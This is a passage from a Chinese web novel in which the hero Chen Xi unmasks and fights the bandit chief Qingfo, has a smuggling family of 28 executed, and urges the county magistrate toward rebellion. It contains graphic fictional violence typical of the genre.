引着陈息一行人便进了县衙。
进得门来,打发走了衙役。
大堂中只剩陈息一行人。
“乱子,带人给我找到府库。”
陈息发话,众人立马照做。
没多会功夫,宁乱从后堂跑来,两眼放光:
“大哥,我找着府库了,就在后面,里面老多银子了。”
宁乱双手比划着,形容里面的银子很多。
“行,把县令老爷办公的公案,和那张官椅,给我搬到府库去。”
“好嘞大哥。”
宁乱不知道大哥要干什么,但大哥的话,就是命令。
别说搬县令的案台椅子,就是让他去搬龙椅,也照搬不误。
没多会功夫。
陈息在府库中坐定官椅,面前就是县令的公案。
身后是成箱成箱的银子。
里面装着的,都是近期收缴上来的人头税银!
数目庞大!
哥几个坐在箱子上,擦刀的擦刀,磨枪的磨枪。
大哥说了,待会有一场恶仗。
不多时,杨刚烈的信鸽传来字条。
展开一看:
“大获全胜,击杀土匪2300余人,匪枭青佛伏诛,正在打扫战场,青佛人头已斩,正在送回县衙的路上。”
陈息看完了字条,嘴边弯起一丝危险的弧度。
“都打起精神来,该活动活动筋骨了。”
哥几个闻言,开始热身,一场恶战,即将开始。
不到两刻钟,府库大门被一脚踹开。
现出来一个身影。
来人,披着一件虎皮大氅,足下豹靴,腰间一口大环刀,头戴一顶虎皮帽子。
面上一道伤疤,由嘴角直扯到眼后,疤痕泛红,狰狞可怖!
抬眼便看到,陈息坐在官椅,微微一愣后,随即变换一副凶狠表情。
抽出大坏刀,砰的一声,直插在公案之上,刃口正对着陈息。
一秒后。
“咔嚓——”
唐刀砍断大环刀,直插在案台,钢锋刃口同样对着来人。
来人见状,微微点头,活动一下脖子,目光如电,直视陈息:
“你就是陈息?”
陈息坐在官椅上,气不庸出,面色不改:
“等你好久了。”
站起身来,活动活动双肩,双眼微眯,射去一道寒光:
“青佛!”
第120章 天青,尊我一声佛
青佛闻言,冷冷一笑。
“没错,你很聪明。”
说完,伸手将虎皮帽子摘下,露出一个油光锃亮大光头。
青佛指了指自己的光头:
“天青。”
“道上弟兄,尊了一声佛。”
说罢,饶有兴致的盯了陈息好一会,微微一笑:
“兄弟,怎么知道是我的?”
陈息嗤笑一声,手中摩梭着唐刀刀柄,脚掌在官椅上重重一踏:
“玉龙岭大当家的,白山县地界,江湖总瓢把子,又怎会以身涉险,坐在这公堂之上呢?”
“牛奔,只是你的一个替身而已,而真正的青佛,依旧坐在玉龙岭。”
“所谓的金盆洗手,花钱买官,不过是为了迷惑夫人,编造的谎言罢了。”
青佛听着陈息的分析,突然抚掌大笑:
“哈哈哈,兄弟分析的没错,那你又是怎么发现,牛奔是我替身的呢?”
青佛有些是不解,他的**,之前可没人知道。
只是近期,杨刚烈查到了玉龙岭,这也是青佛设计除掉他的主要原因。
牛奔不是青佛,就连那位所谓的夫人都不知道,这不知从哪冒出来的毛头小子,又是如何猜到的呢?
陈息轻笑一声,既然你想知道,那我便成全你:
“抢夫人那天,那支羽箭根本不是射在你下身,而是射在你这张脸上。”
“疤脸形象坐实,那长相与你相似的牛奔,便没了用处。”
“所以你谎称下身被射中,成了阉货。”
“其实,这也不算坏事,正好成全你的心意。”
青佛不断的点头,眼中对陈息的好奇之色越来越浓,甚至还透露出一股欣赏之意:
“好好好,不错,全中。”
“那兄弟不妨猜猜,我为什么把牛奔阉了?”
“让他和那臭娘们正常过日子,不是更能效忠于我么。”
青佛眼中欣赏之色愈发浓郁,单凭这份推理能力,足以在玉龙岭上,坐稳一把交椅。
陈息笑了,双目死死盯着青佛,一脸玩味:
“总瓢把子这个身份,身边根本不愁女人。”
“但,牛奔表面上是你,夫人也算是你的夫人。”
“你又怎能甘心,自己被绿了呢?”
“阉了他,正好合了你的心意。”
这还不算完,你不是想听么,小爷今天,便教教你怎么找替身:
“牛奔虽说相貌与你相似,可实在蠢得可怜。”
“一身的匪气,离得老远便能闻到。”
“几杯酒,就醉倒的货色,也能坐在那县令之位,你不觉得可笑么?”
“找替身可以,但招子需放亮点,将那些阿猫阿狗推出来。”
陈息嗤笑一声:
“多特么跌你总瓢把子的身份!”
“哈哈哈!”
青佛笑的肆意,抬起两只大手为陈息鼓掌。
“兄弟好头脑,竟能将我的事情,全部猜中。”
“刚才在那边折了2000多弟兄,这跟头,我青佛栽的不冤。”
“如果我没猜错的话,杨刚烈那边的布置,也是你设计的吧?”
陈息微微一笑,摊开手掌:
“略施小计而已,难登大雅!”
青佛微微点头,单凭杨刚烈那蠢货,可设计不出这么完美的作战。
今日折了这么多弟兄,他不怒反喜,反而盯着陈息一脸认真道:
“我听说,兄弟在那个小村子任村长?”
“窝窝村,村长!”
陈息很有耐心,已经猜到他下面要说什么。
不出所料,青佛接下来,直言不讳,说出他的想法:
“屈才了,兄弟不妨跟着为兄干,为兄向你承诺,玉龙岭上,里四梁中一把金交椅,让于兄弟坐。”
这些还不算,一指府库中装满银钱的箱子:
“这里的银钱,为兄分你一成,兄弟若是喜欢女人,寨子里除了压寨夫人,剩下的随兄弟挑。”
“若是兄弟看上哪家女人,为兄派人给兄弟抓来。”
“怎么样啊,兄弟!”
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>青佛说完,双手交叉在身前,等待陈息答复。
他一口气许诺这么多条件给陈息,不信他不答应。
里四梁的地位,府库中一成的银钱,漂亮女人。
地位,银钱,女人。
最能打动男人的三样东西全给,只为换来一个足智多谋的军师。
青佛非常自信,自己看上的人,迄今为止,还没一个敢拒绝招揽的。
陈息听完,朗声大笑,摇摇头,一脸玩味的盯着青佛,仿佛在看傻子:
“青佛啊,你也太拿自己当回事了。”
“跟小爷称兄道弟?”
“你特么也配?”
说完话,拔出唐刀,直指青佛:
“玉龙岭上,四梁八柱。”
“不知大当家的,今日搬来几垛啊。”
青佛见他执迷不悟,原本自信的表情,逐渐变得狰狞。
简直太不识抬举了。
抖动双肩,虎皮大氅落地。
里面穿的是一副皮质甲胄,双臂套上大串铁环,哗啦作响。
伸手向后招了招,立即现出4道身影。
4人,身材魁梧,凶神恶煞,此刻已将武器捏在手里。
在青佛身后站定,目光阴狠的盯着陈息。
青佛冷哼一声:
“四梁八柱,等你到了玉龙岭自会见到。”
“这次下山,我只带4个炮头。”
说罢,又指了指自己的光头,再次给陈息一个机会:
“天青!”
“尊我一声佛,答应你的东西,依旧算数。”
见青佛还不死心,陈息笑了笑,一挥手,宁乱8人同时从阴暗处走了过来,在他身后站定。
大战,一触即发!
陈息依旧是那副嚣张狂傲的表情,扫了一眼青佛身后的四位炮头,不屑道:
“天青?”
“那就别踏马等烟雨了。”
握紧唐刀,一道寒光,直劈青佛。
分小爷一成银子?
不好意思,这里的银子,小爷全要。
包括你这颗,项上人头。
第121章 拼命打法
青佛还没缓过神时,陈息唐刀已至。
架起手臂硬扛一击。
“铛——”
手臂上的硬桥铁环,被劈的火星子乱窜。
噔噔噔,青佛连退三步。
“哗楞——”
一抖铁环,感受到手臂处发麻,青佛微眯着眼,冲着陈息点点头:
“很好。”
扫了一眼陈息身后8人,个个身形魁梧,丝毫不逊色自己带来的四位炮头。
“把他们都宰了!”
青佛不愧为总瓢把子,心知招揽不成,索性不再废话,脸上狠辣之色尽显。
他一身横练的功夫,还真不信对付不了几个村夫。
几步冲上前去,使了招双寸桥,双掌运至胸前,腋底一拍,直取陈息咽喉。
陈息见青佛直奔自己而来,眼中寒光迸发,挥动唐刀再砍。
他知道青佛有功夫傍身,此时若退,敌人将步步紧逼,一旦被压着打,将毫无胜算。
自己不会武功,只能凭着蛮力硬劈。
“镗——”
又是一阵巨响,这次轮到陈息虎口发麻,唐刀险些脱手。
咬紧牙关,再战。
通过这两个回合交手,青佛心中有底了,自己虽也不好受,但对方完全不会功夫。
这种货色,自己随便打三五个。
青佛的大环刀被陈息斩断,只能向前硬冲,就在将要近身之际。
“铛——”
又是一记势大力沉的劈砍,宁乱加入战场。
一刀砍在他手臂铁环上,逼得青佛后退一步,宁乱狰狞一笑:
“就踏马你叫青佛啊?”
“惹了我大哥,老子给你打出青屎。”
另一边,4个炮头想上来助阵,**伢子,宁大山几兄弟截住。
双方根本不废话,一交手便是杀招。
胡伢子2米多高,体型堪比成年熊瞎子,一柄熟铜棍,舞的虎虎生风。
他同样不会功夫,但凭借着膂力硬抡。
一棍子横扫下去,身边一丈内不许有人。
想靠近,又是一棍子横扫,可把几个炮头恨疯了。
他们这次下山没什么准备,唯一的任务,就是负责保护青佛安全。
身上带着的都是轻快的短家伙,哪成想碰上这种对手。
压根进不了身。
只能在外面寻找机会,4个炮头不敢近前,可宁大山哥几个却中计了。
他们没有长家伙,想拿下4个炮头只能近身。
仗着人多,拎着各式各样的武器,嗷嗷叫的往上冲。
一近身,便被4个炮头抓住了机会,没几个回合,宁大山哥几个人人挂彩。
宁大山红着双眼,肩头硬抗一刀,一把抱住一个炮头,顺势滚在地上。
完全是拼命打法。
一旦倒地,他们武器便发挥不出作用。
哥几个见宁大山有成效,都选择了拼命打法。
纷纷硬抗炮头一刀,抱着人就往地上滚。
炮头倒地,身边兄弟一拥而上,锁喉的锁喉,掰胳膊的掰胳膊。
纯靠蛮力。
一时间,那边斗得人仰马翻,十几人扭打成一团。
墙上溅的,地上流的,分不清是谁的血。
胡伢子见他们扭打在一起,熟铜棍也没了作用。
一个大踏步上前,与众人混战在一起。
宁大山哥几个受伤,使不上力气,但胡伢子可没负伤。
这头人形怪兽冲入人堆,如同杀戮机器。
沙包大的拳头,对着几个炮头的脑袋就砸。
“砰砰砰。”
几拳下去,便砸死一个炮头。
战况瞬间变成一边倒。
陈息,宁乱,在外围游走,两把唐刀接连劈砍,始终不让青佛近身。
这种打法,可把青佛气坏了,眼见就要成功,另一人的刀便至。
自己仗着有甲胄护体,想硬扛一下,怎料。
他们的刀如此锋利,一刀便砍破了甲胄,虽不致命,但也留下了伤痕。
再看那边,十几人混战在一起,炮头虽说有功夫,可一旦倒地,后果可想而知。
最令他心惊的是,其中还有一个2米多高的大块头,拳头砸的砰砰作响。
心知这次,又栽了。
那边一旦分出结果,自己想跑也跑不了了。
青佛再次挡开两人合力一击,转身就跑。
“青山不改,绿水长流!”
“陈息是吧,我记住你了。”
青佛要跑,陈息哪肯舍?
这可是斩杀他的绝佳机会,一旦让他跑回玉龙岭,再想杀他,难上加难。
青佛跑出县衙,解开自己的坐骑,骑上便跑。
陈息,宁乱紧随而至,骑上马追。
双方一前一后,开始了追逐。
青佛在前面跑,凡是有来不及躲闪的百姓,一鞭子便抽飞。
整条街道,鸡飞狗跳。
伤了许多无
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辜百姓。
由于黑蛟被叶红缨骑走作战,陈息和宁乱胯下的只是普通战马,速度比不上青佛。
眼看距离被越拉越大,陈息拿起**就要射。
但人骑着战马颠簸,怕失了准头,误伤到街上百姓,只能选择在后面跟着。
出了城再说。
青佛不管不顾,很快便跑到城门。
回头,阴鸷的望了眼紧追不舍的陈息。
脸上猩红刀疤抖动。
再让你多活些时日,等**入关破城,老子让你求生不得,求死不成。
接连栽了两个跟头,这笔账,我青佛可记下了。
跑出城门,青佛顺着官道一路疾驰。
等陈息,宁乱出城时,青佛已在200步开外。
毫不废话,两人弯弓搭箭就射。
“嗖嗖嗖嗖嗖——”
一边追,一边射。
两人都不善骑射,大失准头,无一例外,全部射空。
陈息知道这样不是办法,勒住了马,心神守一,没了颠簸感,再次找回准头。
“嗖——”
羽箭裹挟着破空声,化为一道寒芒直射青佛的大光头。
听到破空声朝自己袭来,青佛本能的一扭头。
“砰——”
耳边爆开一团血雾。
“哇呀呀——”
青佛的一只耳朵,直接被陈息一箭射爆,血肉横飞。
捂着半边脸,鲜血从指缝间渗出。
青佛咬紧牙根,回望陈息:
“一耳之仇,我青佛必报!”
一句狠话放出,紧接着,便传来陈息调笑声:
“对了,小爷忘了告诉你。”
“小甜甜真甜。”
这句话,直击青佛要害。
青佛何等聪明,自然听懂陈息话中意思。
寒风冷冽,半边脸的剧痛,也盖不住心中滔天杀意。
很好,你成功激怒了我。
又回头恶毒地盯了一眼,陈息见他回头,竖起一根中指对着他。
青佛扭过回头来,双眼已经血红。
狠狠一夹马腹,胯下战马四蹄用力。
几个闪身间,消失在茫茫官道之上。
望着青佛跑远,陈息虽心有不甘,却也无可奈何。
“先留你一条小命。”
“下次,可没这么走运了。”
赶紧回去,给宁大山哥几个治伤。
算算时间,杨刚烈他们该回来了。
接下来,收取成果。
第122章 谁玩谁呢?
陈息回到县衙,此时胡伢子,宁大山哥几个解决掉了4个炮头。
4个炮头浑身没有一块完整地方,脑袋被砸的面目全非。
宁大山哥几个负伤多处,伤口多在前胸和肩头,好在没有致命伤。
陈息挨个为他们伤口消毒,缝针,包扎。
处理完毕,杨刚烈,杨冲父子才回来。
见到这副场景大惊失色,随后才得知事情的经过。
原来他们斩杀的牛奔,根本不是青佛。
真正的青佛在看到折了2000多土匪后,知道身份已经败露,一不做二不休,直接到县衙准备运走人头税银。
没料到,陈息早就在这里等着自己。
最终,以损失4个炮头和一只耳朵的代价,仓皇逃跑。
至此,白山县假县令一案,被公之于众。
百姓们无不惊掉了下巴,原来他们的县令老爷,**竟是白山县,最大的土匪头子。
一时间,全县震动。
州府来的两位官员,带着所有详录证据,返回州府为杨刚烈请功。
白山县县令一职,暂由杨刚烈担任,不出意外的话,这几天便会收到,正式的任职文书。
而陈息的功劳,被杨刚烈如实呈禀到州府,申请了一个县尉之职。
州府那边,自然懒得管一个小小县尉,朝廷武官多被派往前线,不会因一个小小的白山县再派人来。
陈息向鹰嘴山那边传去消息,这几日将不回寨子,鹰嘴山全权由叶红缨照看。
自己选择留在县城,因为,还有一条大鱼要抓。
因为担心玉龙岭土匪下山,陈息将府库的税银,全部转移到夫人的私宅。
清点一番,税银:白银45000余两,连同牛奔近几年贪的赃银,2万余两,一并收缴。
从陈息到了夫人私宅,便被夫人强行拉到卧房。
自然少不了一番热吻。
情到浓处,就在夫人以为,今晚将会水到渠成之时,却被陈息打断。
一根手指抵在夫人唇间:
“小甜甜莫急,今晚还有一条大鱼要抓。”
夫人意乱情迷之时,听到陈息还要去忙,娇嗔地白了他一眼,红唇十分不满地撅起:
“明日嘛,那王家又跑不掉。”
“早早晚晚不都是你的。”
说罢,拉着陈息就倒在床榻。
一炷香时间过后,就在陈息忍不住将她正法之时,门外传来一道大喊:
“嘿嘿大哥,真如你猜的一样,王家买通了县府人员,在出城时被我抓到,一共28口人,都在县衙押着呢,杨刚烈做不了主,在等大哥去处理。”
陈息翻身想起床,脖子处还挂着夫人的玉臂。
虽说好事被打断,夫人有些幽怨,但还是贴心的帮陈息整理了凌乱的衣裳。
整理好衣裳,又甜甜的吻了一下,眼中波光艳艳,露出一个魅惑笑容:
“去忙你的正事吧。”
“想要......随时来取。”
陈息轻笑一声:
“好,等着我。”
说罢,转身出屋,带着宁乱一路直奔县衙。
进了大堂,第一眼便见到,杨刚烈坐在官椅之上,见陈息来了,立即起身向他说明情况:
“还是兄弟神机妙算,这王家果真选择今晚逃跑。”
“为兄本想着让弟兄们歇歇,明日一早便带人抄家。”
“没想到他们动作如此之快,买通了县府捕头,以出城寻案为借口出城。”
“幸亏兄弟早有准备,不然真让这条的大鱼跑了。”
陈息没有责怪杨刚烈,他爱兵如子,白天一场大战,底下弟兄人困马乏,不可能料到,王家还有一手瞒天过海。
“杨大哥要不,先休息休息,累了一天......”
“好,那便有劳兄弟了。”
杨刚烈想都没想,立马答应下来。
带着杨冲,便出了县衙回府。
并不是因为陈息,帮他坐上县令之位后,什么事都听他的。
只是因为,白天与土匪作战中,见到了一个人。
恩人之女,京城叶家大小姐。
叶红缨。
杨刚烈出自叶家军,他作战勇猛,身陷重围被叶将军所救,从小卒一路升到百夫长。
后来叶将军出事,被朝廷以里通外国为由,叶家顷刻间被抓下狱。
只有叶家大小姐叶红缨,在外学艺,逃过一难。
朝廷曾多次抓捕叶红缨,但都无疾而终。
没想到,在这白山县能遇到大小姐。
剿匪结束后,两人聊了许久。
他也知道了叶家是被奸人陷害,朝廷不辨忠奸,枉杀忠臣。
叶府上下100多口,全部斩首示众,只有叶将军父子,依旧在大牢押着。
听完,杨刚烈义愤填膺,发誓效忠大小姐,有机会一定要救出叶将军。
叶红缨命他,不许透露自己身份,以后什么事都要听陈息的。
杨刚烈自然应允,并承诺县内一切事宜,只要陈息插手,自己全当看不见。
杨刚烈父子走后,陈息皱了皱眉。
什么情况?
我跟他客气一番,他真走了?
一个县令不办案,让我一个县尉处理?
陈息挠了挠脑袋,想不通事情缘由。
想不通,索性不想。
一屁股坐在官椅上,下面捕快,衙役齐齐咧嘴。
县尉爷好威风啊。
一句话,县令老爷就屁颠屁颠的走了。
他反倒坐在了官椅,众人,你看看我,我看看你。
在心里重新定位了,县尉爷在县府的地位。
看样子
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,比县令老爷,只强不弱啊。
陈息坐在官椅,冷眼扫视一圈,堂下跪着的王家众人。
28人,齐齐在列。
王章跪在最前面,身后一群夫人小妾,公子小姐。
李全还有一些下人,跪在第二排。
另外还有4名身着官衣的捕快,被五花大绑跪在一旁。
陈息啪的一声,一拍惊堂木,下面人齐齐吓了一跳。
“王章,你王家贩卖私盐,认是不认?”
王章抬起头来,怨毒的盯着陈息,他知道自己在劫难逃,但临死前还要反咬一口:
“呵呵,整个白山县卖私盐的不止老夫一家,别以为老夫不知道。”
“苏家前些日子贩卖的精盐,就是你做的。”
“县尉大人若是判老夫有罪,那你也是死罪。”
王章喊得声嘶力竭,要死,大家一块死。
是你不给老夫活路,老夫便在这公堂之上,揭发你。
陈息听完,哈哈一笑,抬手一指衙役捕快:
“你们都看见本官做私盐了?”
众人懵逼了,县尉爷之前是一位猎户,还是神医。
怎么现在和私盐扯到一块了,简直天方夜谭。
“王章你血口喷人,县尉大人不可能做私盐。”
“哼,县尉大人剿匪立了大功,岂容你这匹夫污蔑?”
陈息再拍惊堂木,打断下面喝骂声。
“污蔑朝廷命官,罪加一等!”
“全部拖出去斩了。”
要走,一家人就要走的整整齐齐。
管你什么老幼,对待仇家,他可不会手软。
放了任何一人,都是留下仇恨的种子。
从你们到鹰嘴山**那刻起,就应该有这个心理准备。
杀。
就给你杀绝。
陈息大手一挥,捕快衙役立即动手,人人都想在这位新来的县尉爷面前表现表现。
动作十分麻利,不顾王家人哭喊,直接拖出大堂。
王章见陈息不认账,破口大骂出声,但说什么也晚了。
惨叫声响起,王家28口,人头落地。
无论妇孺老幼,一个不留。
见王家人都**头,那4个帮助王家逃离的捕快,吓得面无血色,抖如筛糠。
屁股下面,黄的白的流了一地。
陈息皱了皱眉:
“随地大小便,斩了!”
话一出口,其中一个大嗓门响起:
“大人,冤枉啊,饶小的一条命啊。”
这道大嗓门响起,陈息立即瞪向那人。
因为这道声音他太熟悉了。
正是自己第一次进县城卖狍子,在牙行外听到的那个声音。
当初他还说,要玩自己的两位娘子。
陈息双眼微微眯起。
那么现在是?
谁玩谁呢?
第123章 家里啥都没有,就趁矿
“饶命?”
“我可以给你个机会,就看你表现的怎么样了。”
“把他解开。”
“是!”
陈息手里摩梭着惊堂木,笑得有些玩味。
县尉爷有令,下面立即有衙役,为大嗓门解开绳索。
大嗓门一听到县尉爷给自己机会,还解开了绳子,跪在地上连连磕头。
“大**人,小的名叫刘中,在县衙任捕头,平时和王家走的近些,对王家的事很熟悉,小的...小的...可以戴罪立功。”
刘中的戴罪立功一出口,陈息笑了,王家家大业大,肯定私藏了不少宝贝。
他们连夜出城,最多只带一些金银细软,偌大的王家,不可能全部搬空。
“既然你对王家这么了解,那你说说,怎样戴罪立功?”
见县尉爷松口,刘中砰砰砰的再次磕了几个头,抬起头来,一脸谄媚道:
“县尉爷,您有所不知,王家今晚出城,只带了两马车的金银,其余...其余还有不少呢。”
陈息哈哈一笑,就知道你小子不简单:
“说说吧。”
“但,本官提醒你,王家的事,本官也有所了解,想与本官耍花样的话,自己掂量着办。”
刘中哪里敢耍花样,这次剿匪,他虽说没去,但也听说了战果。
那可是2000多土匪啊,被这位县尉爷设计全杀。
不光如此,就连假县令都给揭发了,这种狠角色,自己哪敢在他面前耍花样。
“大**人,小的如实全说,借小的10个胆子,也不敢在您面前保留一丝一毫。”
“王章给了小的500两银子,让小的在夜间给他开城门,小的一时财迷心窍,才做出贪赃枉法之事。”
陈息没功夫等他磨叽,逼问一句:
“还有你家,别特么磨叽。”
刘中见县尉爷嫌他废话多,磕头如小鸡啄米,这位爷,可真是眼里不揉一丁点沙子,如实交代:
“小的原本也带着家人跑,但还没得及,就被大人派人堵住了。”
陈息嗤笑一声,就这种货色。
为了区区500两银子,职位都不要了,但你没想想,跑?
你往哪跑?
“行了,说重点。”
见他连自己家的事都说了出来,陈息心里清楚,刘中已经吓破胆了,接下来应该全部交代了。
“回大人的话,王家有个专门藏宝贝的地窖,小的经常到王家做客,偷偷发现了地窖的位置,小的可以带您去......”
“啪——”
陈息一拍桌子,这特么是重点么?
王家那么大点地方,用你带着找?
“最后给你一次机会,再说不出重点......”
陈息眼神一寒,刘中被吓得一哆嗦,眼珠子转了转,终于明白县尉爷说的重点是什么了。
“大人别急,大人别急,小的将知道的全说。”
刘中紧张的连汗都下来了,立马说出重点:
“王家有座私盐矿,就在县城以西50里的高家湾,小的曾帮王章押运过苦力,所以很清楚那边的位置。”
陈息听到盐矿,才微微一笑:
“行了,本官给你个机会,具体把握不把握得住,就要看你表现了。”
“将他押下去派人看守。”
刘中汗流浃背,看来县尉爷盯上那座盐矿了,明天一定要好好表现,小命能不能保得住,就看这次机会了。
刘中被衙役押走,堂上只剩宁乱一人。
“大哥,那咱们今晚没行动了?”
陈息有些乏了,从早上一直忙活到深夜,下午还干了一场硬仗,铁人也坚持不住了。
打了个哈欠,然后说道:
“咱俩在这内宅对付一晚,用信鸽给寨子里传信,让二牛带100个人,明早过来报道。”
“好嘞大哥。”
宁乱也累坏了,今天这一仗他打的憋屈,自己无论是体格还是力量,都不输于青佛。
但和大哥两人都没拿下他,心里很是内疚。
找机会一定要弄本武林秘籍去,之前,他一直想学大哥那招如来神掌来着。
连叶红缨都败于此招之下,足可见威力之强。
还有个一阳指,叶红缨一听见这等绝学的名字,都喊服了。
想来也差不了。
但就是纳闷,大哥今天为啥没使出来?
可能是大哥忘了吧,等忙完了这段时间,再向大哥请教。
一共两招呢。
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>如来神掌,一阳指。
都得学。
两人找了两间屋子,倒头便睡。
翌日清晨。
城门刚开启,二牛带着100村民第一个进城,一路风风火火来到县衙。
衙役们听说他们来找村长的,一个个都懵逼了。
到县衙找村长?
哪跟哪啊?
但后来一解释,才知道陈神医以前是窝窝村村长,这帮村民是来找县尉爷的。
但也不敢惊扰了县尉爷,一路小跑来报告。
还没到内宅呢,便被宁乱拦住:
“咋回事?”
衙役知道宁乱和县尉爷的关系,立即将外面的事告诉了宁乱。
“让他们进来,我去喊大哥。”
衙役连忙点头称是,小跑回去传信。
没多会功夫,二牛带着100村民,到了内宅。
他们可是第一次来这里,之前到县里卖点山货,看见县衙都躲着走。
如今直接到了内宅,放在以前,想都不敢想。
这地方可是县令老爷的居所,他们根本没资格进来。
一群人左瞧瞧,右看看,见到什么都新奇。
华贵的建筑,走廊,假山,亭子,一群下人打扫卫生,厨房那边还飘来阵阵香气。
没一会的功夫,陈息洗漱完毕出门。
二牛立马上前,激动的满脸通红:
“村...啊不对...”
“县长,县尉长...”
二牛激动的不知咋称呼了。
陈息拍拍他肩头:
“以后,你随乱子叫。”
二牛还没反应过来,被宁乱一脚踢在屁股上:
“还不叫大哥。”
二牛张大了嘴巴,看看宁乱,又看看陈息,明白怎么回事了,当即兴奋喊道:
“大哥!”
“好。”
陈息应了一声,代表二牛,正式成为他的兄弟。
“今天得辛苦你们了。”
“任务只有一个。”
“王家,还有那几个捕头捕快的家。”
“全部给我抄了,给我记住,落下一个铜钱都不行。”
陈息双眼微眯,还有王家的盐矿。
小爷就稀罕这个。
该说不说,家里啥都没有。
就趁矿!
第124章 朝廷,是指望不上了
分配了二牛他们的任务。
陈息带着宁乱来到大堂。
杨刚烈已在等候,休息一夜,原本应该精神饱满,此刻却愁眉不展。
刘中已经被衙役押来,没有陈息的吩咐,这些人都不知道该干什么。
见到陈息前来,杨刚烈总算有了主心骨。
一脸愁容的上前,虽尬尴,但有些事不得不说,拉着陈息到内间,将得到的消息一股脑讲出来:
“兄弟啊,你可算来了,为兄今早得到消息,州府那边...一个铜板都没赏下来。”
“为兄底下的弟兄们......”
杨刚烈说到此处,一拍大腿,满眼的不甘。
从怀里掏出一张文书,递到陈息手里:
“兄弟你自己看看吧。”
陈息打开文书一看,粗略扫了一眼后,嘴角微微一笑,将文书随意丢在桌上。
他已经知道怎么回事了。
此次剿匪成功,原本朝廷应该下发一些银钱,用于奖赏府兵,但文书里却只字未提。
只是口头嘉奖将士们为百姓除害,护我大御子民周全等等。
夸的是天花乱坠,但实际的东西,一样没有。
不光如此,还在结尾催促白山县,尽快将今年的人头税送到州府。
违令者,严惩不贷。
一边拖欠府兵军饷,一边不顾百姓死活,死死压榨人头税。
陈息找了张椅子坐下,二郎腿一翘,问道:
“杨大哥对此,有什么看法?”
匪都剿完了,该探探这位大哥的想法了。
当上了县令,如果还是给这样的朝廷卖命,兄弟俩只能一拍两散。
陈息还真看不上这个所谓的县尉官职,不如回鹰嘴山逍遥自在。
一边卖盐,一边发展实力,等到**入关,保身边人无恙,足矣。
至于其他人的死活,与自己有什么关系?
见陈息问自己想法,杨刚烈难住了。
昨天见到了恩人之女叶红缨,也向大小姐保证过,以后都听陈息的。
但自己毕竟是一县之令,州府那边该如何处理?
人头税都上交到州府,底下弟兄们还是老样子。
一分钱没有,剿匪,剿了等于白剿。
一点好处没捞到。
指望朝廷是指望不上了,只能先这样。
“兄弟,要不咱们还是老样子算了。”
“为兄将这批税银送往官府,你不是答应卖盐分给为兄些利润嘛,为兄用那些利润,减轻些弟兄们家中负担。”
说到这里还故意向陈息保证道:
“兄弟放心,为兄向州府申请扩充府兵,玉龙岭还有1000余匪,咱们府兵虽昨日有些伤亡,可起码也要与他们实力相当不是。”
杨刚烈将他那点小计划全部说了出来。
青佛回去后,肯定不会善罢甘休。
如今府兵只有不到500人,因为昨日伤亡了几十,上边不给抚恤金,全得自己想办法。
这笔钱,只能在以后卖盐的利润里出,让弟兄们再忍忍。
陈息手指敲打着桌面,今早二牛已经将鹰嘴山的伤亡名单交给了他,寨子里同样有伤亡。
村民们战死19人,壮劳力战死2人,伤者数十,已经让张神医救治。
寨子里有钱,战死的村民们,秦瑶按照陈息的吩咐,已经下发了一笔不菲的抚恤金。
鹰嘴山的伤亡有陈息担着,可府兵呢?
朝廷一分钱没有,他们只能硬扛。
合着剿了大批的土匪,都成府兵自愿的了,朝廷下来一张奖状,摆平所有问题。
“大哥以为,扩充到1000府兵,就能对抗玉龙岭了?”
陈息问完,杨刚烈沉默了。
他清楚,就算扩充到1000府兵,也对抗不了玉龙岭。
原因,土匪不会傻到去攻城,只会变本加厉的,扫荡白山县周边的村子。
等你府兵一到,人家早跑的远远的了。
不光是这一种情况,商队以后也别想有好日子了。
之前有牛奔这位假县令在职,白山县与周边县城,做生意的商队,只要交了钱,便可畅通无阻。
现在县令没了,玉龙岭彻底站在了对立面。
商人都做不了外面的生意,百姓的日子更加难了。
杨刚烈越想越烦,一个头,两个大。
“兄弟,你脑袋好使,为兄实在是没办法了,你给为兄指条道啊。”
杨刚烈一介武官,在县城的管理上,有些问题他能看出来,但没有解决问题的办法,只能求助于陈息。
陈息见他那副愁眉苦脸的样子,决定不和他绕弯子了,有些话,也该挑明了。
“兄弟这里有两个建议,也是你我之间,是继续做兄弟,还是单纯的合作伙伴,大哥选一个吧。”
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>杨刚烈闻言一怔,陈息已经把话说到这个份上了,知道下面的谈话内容绝不简单,当即正色道:
“兄弟但说无妨,为兄绝不会和外人道上一句。”
陈息笑了笑,开口便是直奔主题:
“一,你我按照之前约定,我只卖我的私盐,每月准时给县令大人呈上利润,至于县令大人怎么使用这笔钱,与草民无关。”
杨刚烈听完,脑袋嗡的一声,陈息这话已经够直白了,那县尉一职,他不要了。
他只做他的生意,剩下的事,全靠杨刚烈自己解决。
杨刚烈用力喘了几口粗气,他不想失去这么一位足智多谋的兄弟,何况,他还是大小姐看中的人。
“那二呢?”
陈息突然扭头正视杨刚烈,黑色眸子中一汪深邃,说出的话,差点没吓死他。
“二,反了这狗朝廷。”
杨刚烈扑通一声,一屁股从椅子上跌坐地面。
全身止不住的颤抖,不可置信的望着陈息。
黝黑的脸,被吓的无一丝血色。
缓了足足一炷香时间,才扶着胸口,舒出一口长气。
双腿使不上力气,就坐在地上回话:
“兄弟,慎言,慎言呐。”
好家伙,不是给为兄选择么,谁能料到他要**?
朝堂之上,王公贵族,党阀无数,他们想**有情可原。
可咱们呢?
芝麻大小的一个县城,手里500来个府兵,穷的叮当响。
**?
造饭都造不饱。
陈息坐在椅子上,他坐在地上,两人一高一低,就这么对视良久。
突然,陈息笑了。
也不去扶他,就这么直接开口:
“不想听听么?”
杨刚烈想听吗?
他还真想听。
想听听自己这位好兄弟,究竟哪里来的底气**。
由于双腿使不上劲,用手拄着地面,向门口爬行,咣当一声,后背顶上房门。
“说吧兄弟,外面有人来,为兄便能第一个察觉,只要我一咳嗽,你就停,咱别让外人听见。”
陈息差点被他逗得笑出声来,自己这位大哥啊,打仗是把好手,咋一到关键时刻就掉链子呢。
亏你堂堂七尺汉子,生于乱世之间,还妄想着委曲求全。
今天便给你上一课。
这个反。
是必须要造的。
第125章 敢造小爷的反?
“先说你将税银送到州府,以后靠卖盐的利润维持必要开支。”
“你又能维持多久呢?”
杨刚烈不置可否,但总好过于**吧。
**是一天都维持不了,这好歹还能对付活着。
陈息不管他是怎么想的,接续开口:
“如今大御的状况,你我心知肚明。”
“如果是以前,这次剿匪,朝廷必将赏下银钱安抚府兵。”
“可如今你也看到了,朝廷是真没钱搭理我们这些破事。”
“通过这件事,更能间接的说明一个问题。”
“就是,朝廷也要顶不住了。”
“就算内部不乱,外族也要破关了。”
